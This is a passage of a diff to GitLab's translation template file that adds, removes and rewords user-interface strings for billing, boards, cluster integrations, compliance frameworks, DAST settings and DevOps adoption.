msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5560,6 +5584,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5710,6 +5737,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5773,6 +5803,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5803,6 +5836,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -6025,6 +6061,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -6193,6 +6232,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6244,10 +6286,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -6292,6 +6334,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6415,9 +6460,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6523,15 +6565,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6808,6 +6850,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6910,9 +6955,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6940,6 +6982,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7369,9 +7414,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7381,24 +7423,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7432,15 +7462,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7453,9 +7474,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7477,9 +7495,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7498,15 +7513,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7528,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7543,15 +7546,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7573,15 +7573,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7630,12 +7621,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7651,9 +7636,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7669,9 +7651,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7714,27 +7693,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7762,9 +7726,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7774,18 +7735,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7807,39 +7756,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7873,9 +7792,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7924,12 +7840,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7972,9 +7882,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7984,15 +7891,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -8029,24 +7927,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -8059,9 +7939,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -8110,15 +7987,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -8143,9 +8014,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -8164,27 +8032,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -8194,24 +8047,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8242,9 +8077,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -8266,21 +8098,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8305,27 +8125,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -8341,12 +8146,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8419,6 +8218,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8434,9 +8236,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8737,9 +8545,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8776,9 +8581,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8797,42 +8599,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8851,6 +8620,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -9109,6 +8881,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9466,7 +9241,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9505,6 +9280,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9571,6 +9349,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9811,9 +9592,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9940,9 +9718,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -10174,6 +9949,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -10183,9 +9964,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -10201,9 +9979,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -10279,6 +10054,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10504,9 +10282,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10573,6 +10348,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10936,9 +10723,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10963,6 +10747,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10996,7 +10783,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -11116,6 +10903,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11815,12 +11605,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11878,7 +11686,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11890,21 +11698,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11938,6 +11749,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11959,6 +11773,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11977,15 +11794,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -12175,7 +11989,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -12226,7 +12040,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -12235,6 +12049,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12451,9 +12268,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12487,9 +12301,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12550,6 +12361,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12679,6 +12493,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12688,13 +12505,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12775,13 +12595,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12799,6 +12616,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
